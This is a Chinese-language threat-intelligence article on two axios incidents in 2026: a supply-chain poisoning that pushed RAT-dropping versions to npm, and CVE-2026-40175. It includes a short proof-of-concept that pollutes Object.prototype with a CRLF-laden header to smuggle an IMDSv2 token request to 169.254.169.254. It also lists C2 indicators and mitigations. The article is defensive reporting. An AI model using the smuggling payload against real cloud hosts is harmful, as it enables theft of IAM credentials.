Axios双重危机:CVE-2026-40175漏洞链与UNC1069供应链投毒

admin 2026-04-16 04:07:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 2026年3月至4月axios库遭遇双重安全危机:3月31日朝鲜UNC1069组织劫持维护者账号投放含WAVESHAPER.V2后门的恶意版本1.14.1/0.30.4;4月9日披露独立漏洞CVE-2026-40175(CVSS10.0),通过原型污染触发CRLF注入实现AWSIMDSv2旁路窃取云凭证。两事件目标高度重叠,当前运行axios<1.15.0的云服务面临直接风险,需立即升级至v1.15.0。 综合评分: 92 文章分类: 供应链安全,漏洞分析,威胁情报,WEB安全,云安全


cover_image

Axios 双重危机:CVE-2026-40175 漏洞链与 UNC1069 供应链投毒

原创

🅼🅰🆈 🅼🅰🆈

独眼情报

2026年4月13日 15:44 湖北

在小说阅读器读本章

去阅读

长话短说

2026 年 3 月至 4 月,全球下载量最高的 JavaScript HTTP 客户端库 axios 在不到两周内连续遭遇两次独立但相互关联的安全事件。

第一波(2026-03-31):朝鲜国家级行为者 UNC1069(Google Threat Intelligence Group 归因,微软称为 Sapphire Sleet)劫持了项目首席维护者 jasonsaayman 的 npm 账号,向注册表投放了含 RAT 的恶意版本 1.14.1 和 0.30.4,持续约 3 小时,波及约 1 亿次每周下载的生态位。

第二波(2026-04-09):账号恢复后,项目组发布 GitHub Security Advisory GHSA-fvcv-3m26-pcqx,披露了一个独立的代码层漏洞:任何第三方依赖中的原型污染(Prototype Pollution)均可通过 axios 的 HTTP 头部拼接逻辑被武器化,实现 CRLF 注入 → HTTP 请求走私 → AWS IMDSv2 旁路 → 云凭证窃取的完整攻击链。CVE 编号 CVE-2026-40175,CVSS 满分 10.0。

核心结论:两个事件在机制上相互独立,但攻击效果高度重叠——都以获取云端凭证或代码执行为终极目标,且共用同一个被污染的信任锚(维护者账号)。当前运行 axios < 1.15.0 的 Node.js 服务,尤其是部署在 AWS/GCP/Azure 上的云原生应用,面临直接的、可被利用的风险。升级至 v1.15.0 是目前唯一完整的缓解措施。

一、背景:为何 Axios 是高价值目标

axios 是 Node.js 和浏览器端最主流的 HTTP 客户端库,npm 周下载量长期稳定在 9000 万至 1 亿次。根据 Snyk 的统计,该包被约 174,000 个 npm 包直接依赖,存在于大约 80% 的云原生开发环境中。

它的架构角色决定了它的威胁价值:axios 几乎默认出现在所有现代 JavaScript/TypeScript 服务端项目的依赖树中,且通常运行在拥有云 IAM 凭证、数据库密钥、API Token 的进程里。污染 axios,等同于在目标的 HTTP 通信层埋下钩子。

二、事件一:供应链投毒(2026-03-31)

2.1 攻击时间线

| 时间(UTC) | 事件 | | — | — | | 2026-03-30 05:57 | 攻击者账号 [email protected] 发布 [email protected]——无恶意代码的诱饵包,目的是建立发布历史、降低后续版本的扫描告警优先级 | | 2026-03-30 23:59 | 同账号发布 [email protected]——注入恶意 postinstall 钩子与混淆后的 RAT 投放脚本 setup.js | | 2026-03-31 00:21 | 被攻陷的 jasonsaayman 账号(邮箱已改为 [email protected])发布 [email protected],引入 [email protected] 作为运行时依赖 | | 2026-03-31 01:00 | 同账号发布 [email protected],覆盖 legacy 分支,确保 1.x 和 0.x 双线用户均受影响 | | 2026-03-31 ~03:15 | npm 下架两个恶意版本,latest 标签回退至 1.14.0 | | 2026-03-31 03:25 | npm 启动安全保留程序,针对 plain-crypto-js | | 2026-04-01 | Google GTIG 和微软威胁情报公开将此次攻击归因于 UNC1069(朝鲜国家级行为者) |

两个恶意版本在 npm 上存活的窗口:约 2 小时 54 分钟(1.14.1)和约 2 小时 15 分钟(0.30.4)。

2.2 账号劫持的技术特征

账号劫持的一个关键法证信号体现在 npm 注册表元数据上。所有合法的 axios 1.x 版本均通过 GitHub Actions OIDC 可信发布机制发布,npm 包元数据中会包含 trustedPublisher 字段,将发布动作密码学绑定到具体的 CI/CD 工作流。

恶意版本 1.14.1 的元数据完全缺失这一字段——它是通过被盗的长期有效 npm 访问令牌直接从命令行发布的,且 GitHub 仓库中不存在任何对应的 commit 或 tag。Elastic Security Labs 指出这是识别账号劫持的明确指标。

2.3 恶意载荷:WAVESHAPER.V2

Google GTIG 将投放的 RAT 识别为 WAVESHAPER.V2,是 UNC1069 在此前活动中使用的 WAVESHAPER 后门的更新版本。RAT 的投放流程:

  1. npm install 触发 [email protected] 的 postinstall 钩子
  2. setup.js(SILKBELL 投放器,SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09)检测目标操作系统
  3. 向 C2 服务器 sfrclak[.]com:8000(IP: 142.11.206.73)请求平台特定的第二阶段载荷(macOS / Windows / Linux 各一套)
  4. 执行完毕后,恶意包用事先准备的干净 package.jsonpackage.md 文件中预存)替换自身,消除法证痕迹

StepSecurity 报告指出,整个投放过程在 npm install 启动后约 2 秒内完成,恶意进程在 npm 完成依赖解析之前已向 C2 发起连接。

待证实:Datadog Security Labs 报告提到 Windows 和 Linux 载荷存在一定程度的 bug,限制了其稳定性,Linux 载荷在容器化环境中会崩溃。但上述 bug 的具体范围和影响程度目前尚未由第三方完整复现验证,该信息来自单一技术来源(Datadog),尚待独立确认。

2.4 归因评估

研判(高置信度):此次供应链攻击由朝鲜国家级行为者实施,主要依据如下:

  • Google GTIG 基于 WAVESHAPER.V2 的使用将其正式归因于 UNC1069
  • 微软威胁情报独立归因于 Sapphire Sleet,并指出 C2 基础设施与已知 UNC1069 活动存在重叠
  • AstrillVPN 节点被用于路由 C2 流量,这是 UNC1069 自 2020 年以来持续使用的操作安全模式
  • 两个归因来自不同机构,形成独立的交叉验证

研判(中置信度):该攻击不是机会主义的,而是预谋已久的定点行动。理由是恶意依赖包提前 18 小时预置,三套操作系统载荷预先构建,两个发布分支在 39 分钟内双线投放,并预埋了反法证清理机制。这种操作精度超出典型的投机性供应链攻击范畴,更符合 UNC1069 此前针对加密货币和金融软件生态的定向行动模式。

三、事件二:GHSA-fvcv-3m26-pcqx / CVE-2026-40175(2026-04-09)

3.1 漏洞摘要

| 属性 | 值 | | — | — | | 漏洞编号 | CVE-2026-40175 / GHSA-fvcv-3m26-pcqx | | 披露时间 | 2026-04-09(Advisory)/ 2026-04-10(CVE) | | CVSS v3.1 评分 | 10.0(满分) | | 受影响版本 | axios v0.x – v1.x(所有历史版本,< 1.15.0) | | 修复版本 | >= 1.15.0 | | 漏洞组件 | lib/adapters/http.js (HTTP 头部处理逻辑) | | 相关 CWE | CWE-113(HTTP 头 CRLF 注入)/ CWE-444(HTTP 请求走私)/ CWE-918(SSRF) | | 报告者 | raulvdv(通过 GitHub Security Advisory 流程提交) |

注:Advisory 原文中将 CVSS 评分描述为 9.9,但 GitHub Advisory 页面及 NVD / Tenable 等官方 CVE 数据库均记录为 10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)。以 NVD 记录为准。

3.2 漏洞机制:「Gadget 链」攻击

这个漏洞的关键是——axios 的代码本身没有原型污染漏洞,但它会被作为「武器」被已经受污染的运行时环境利用

攻击链分为三个阶段:

阶段一:初始污染(触发点在其他依赖) 攻击者通过已知的原型污染漏洞(如 qsminimistbody-parser 等库中长期存在的 CVE),将恶意键值对注入 Object.prototype。例如:

// 模拟攻击者通过 qs 的漏洞触发的污染效果
Object.prototype['x-amz-target'] =
&nbsp;&nbsp;"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\n"&nbsp;+
&nbsp;&nbsp;"Host: 169.254.169.254\r\n"&nbsp;+
&nbsp;&nbsp;"X-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

阶段二:Gadget 触发(由 axios 正常业务代码触发) 应用发起任何看起来完全安全的 axios 请求时:

// 开发者视角:这是一个完全正常的内部监控请求
await&nbsp;axios.get('https://analytics.internal/pings');

axios 在 lib/adapters/http.js 中将配置进行 merge 时,会从 Object.prototype 上继承被污染的 x-amz-target 属性,并将该值(含 CRLF 字符)直接写入底层 socket 连接,没有任何过滤。

阶段三:AWS IMDSv2 旁路 实际发送的 HTTP 流量变成:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

「走私」进去的第二个请求是一个合法的 AWS IMDS v2 令牌获取请求。AWS 实例元数据服务会返回一个短期会话令牌,攻击者随后使用该令牌获取 EC2 实例绑定的 IAM 角色凭证——通常拥有访问 S3、RDS、Secrets Manager 等资源的权限。

这一点至关重要:IMDSv2 最初设计为防止普通 SSRF 攻击(要求 PUT 请求,普通 SSRF 只能发 GET),但通过 HTTP 请求走私可以绕过这一设计假设。

3.3 攻击面评估

该漏洞的实际可利用性取决于两个前提:

  1. 目标依赖树中存在可被利用的原型污染漏洞:这在现实 Node.js 项目中普遍存在,qsminimist 的历史版本在很多遗留项目中仍在使用
  2. axios 请求在执行前,污染已发生:这要求攻击者能控制某个输入路径,触发上游的原型污染

研判(中置信度):对于大量使用遗留 npm 依赖的企业内网服务来说,这两个前提同时满足的概率不可忽视。公开 PoC 已发布(随 Advisory 一同释出),实际武器化的门槛较低。

3.4 「Gadget 型」漏洞的分类意义

Advisory 将此漏洞描述为「Gadget 攻击链」,这是一个在学术安全研究中使用但在 CVE 披露中较少使用的概念。它的含义是:漏洞的利用需要「借助」目标软件作为中间件来放大另一个漏洞的影响。

这类漏洞的政策含义在于:axios 自身通过了所有单一依赖漏洞扫描,但在组合依赖的威胁模型下是高危的。传统的「只扫自己的依赖有没有 CVE」的安全实践对这类 Gadget 链完全失效。

四、两个事件的关联分析

4.1 时间关联

| 事件 | 时间节点 | | — | — | | 供应链攻击(UNC1069) | 2026-03-30 ~ 2026-03-31 | | 维护者账号恢复(推断) | 2026-03-31 ~ 2026-04-09(期间) | | CVE-2026-40175 披露 | 2026-04-09 | | 修复版本 v1.15.0 发布 | 2026-04-09(或临近日期,以 GitHub Releases 为准) |

值得注意的是,GHSA-fvcv-3m26-pcqx 是由被攻陷账号 jasonsaayman 在账号恢复后发布的。供应链攻击发生在 3 月 31 日,而漏洞披露发生在 4 月 9 日,中间约 9 天是账号恢复与内部审计期。

4.2 机制独立,目标重叠

两个事件在技术机制上是完全独立的:

  • 事件一是账号劫持型供应链攻击,恶意代码在安装时执行,与 axios 自身代码逻辑无关
  • 事件二是代码层 Gadget 漏洞,通过 axios 合法的头部处理逻辑被武器化,在运行时触发

但两者的终极攻击目标高度重合:获取云凭证(AWS IAM)或实现远程代码执行。这种目标一致性与 UNC1069 的已知 TTP(战术、技术、程序)吻合——该组织历来以金融资产和云访问权限为核心目标。

研判(低置信度):目前没有公开证据证明 CVE-2026-40175 是 UNC1069 发现并上报的漏洞,也没有证据表明两个事件出自同一策划。这两者很可能是时间上偶然重叠的独立事件——漏洞研究者 raulvdv 和北朝鲜攻击者在同一个时期都关注到了 axios,但出于不同动机。然而,不能排除攻击者在账号持有期间(可能长达数周)进行了代码层审计,并在撤退前「顺手」利用或记录了 CVE-2026-40175 描述的攻击面。此假设目前缺乏直接证据。

五、指标数据(IOC)

5.1 供应链攻击(事件一)IOC

| 类型 | 值 | | — | — | | C2 域名 | sfrclak[.]com | | C2 IP | 142.11.206.73 | | C2 端口 | 8000 | | 恶意 npm 包 | [email protected][email protected] / [email protected] | | 投放脚本哈希(SHA256) | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 (SILKBELL/setup.js) | | 攻击者控制邮箱 | [email protected][email protected] | | 临时文件路径特征 | *\Temp\6202033* (Windows)/ */tmp/6202033*(Linux/macOS) |

5.2 CVE-2026-40175(事件二)技术指标

  • 漏洞触发条件:header 值中存在 \r\n 字符(CRLF)
  • 受攻击路径:lib/adapters/http.js → HTTP socket 写入逻辑
  • 检测特征:出站请求中出现对 169.254.169.254(AWS IMDS 端点)的异常访问,尤其是 PUT 方法

六、防御建议

以下建议按优先级排序,针对不同角色提供。

6.1 立即行动(当前仍在使用受影响版本的团队)

对于 CVE-2026-40175(事件二)

升级 axios 至 v1.15.0 或更高版本,这是当前唯一完整的修复:

npm install axios@^1.15.0
# 确认依赖树中无遗留旧版本
npm ls axios

如无法立即升级,可在应用层添加临时头部过滤 Patch(Advisory 推荐的缓解代码):

// lib/adapters/http.js — 临时缓解,非最终修复
utils.forEach(requestHeaders,&nbsp;function&nbsp;setRequestHeader(val, key)&nbsp;{
&nbsp;&nbsp;if&nbsp;(/[\r\n]/.test(val)) {
&nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Error('Security: Header value contains invalid characters');
&nbsp; }
&nbsp;&nbsp;// ... 继续设置头部
});

对于供应链攻击(事件一)

检查 lockfile 中是否存在恶意版本:

grep -E&nbsp;"axios@(1\.14\.1|0\.30\.4)|plain-crypto-js"&nbsp;package-lock.json yarn.lock

如发现受影响版本,且系统在 2026-03-31 00:21–03:20 UTC 期间执行过 npm install按完全失陷处理(隔离、重镜像、轮换所有凭证)。

6.2 中期加固(所有 Node.js 开发团队)

  1. 启用 npm 发布来源验证:在 CI/CD 流程中要求所有关键依赖具备 SLSA 来源证明(provenance),缺失 OIDC 绑定的新版本应触发自动告警
  2. 依赖冷却期设置:在依赖管理工具中配置新版本延迟采纳策略(部分包管理器支持),给社区时间标记恶意版本
  3. npm audit + Snyk 双跑:定期扫描直接和间接依赖中的原型污染 CVE;Gadget 型漏洞的前提是上游存在可利用的污染点
  4. 云 IMDS 访问控制:在 AWS 环境中,通过实例元数据选项将 http-put-response-hop-limit 设为 1,限制容器内进程通过跃点访问 IMDS;同时对 169.254.169.254 出站流量进行监控告警

6.3 长期供应链安全实践

  • 对月下载量过亿的关键包(axios、lodash、express 等)实施发布元数据监控:发布方式从 OIDC 切换为直接 CLI 是高优先级告警信号
  • 在 CI/CD 环境中部署网络出口监控(类似 StepSecurity Harden-Runner 的行为),任何 npm install 期间的非预期出站连接都应被告警
  • 定期审计 GitHub 组织内关键仓库的维护者权限,识别具备 npm 发布权限的账号并强制启用硬件密钥 MFA

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:独眼情报 🅼🅰🆈 🅼🅰🆈《Axios 双重危机:CVE-2026-40175 漏洞链与 UNC1069 供应链投毒》

评论:0   参与:  0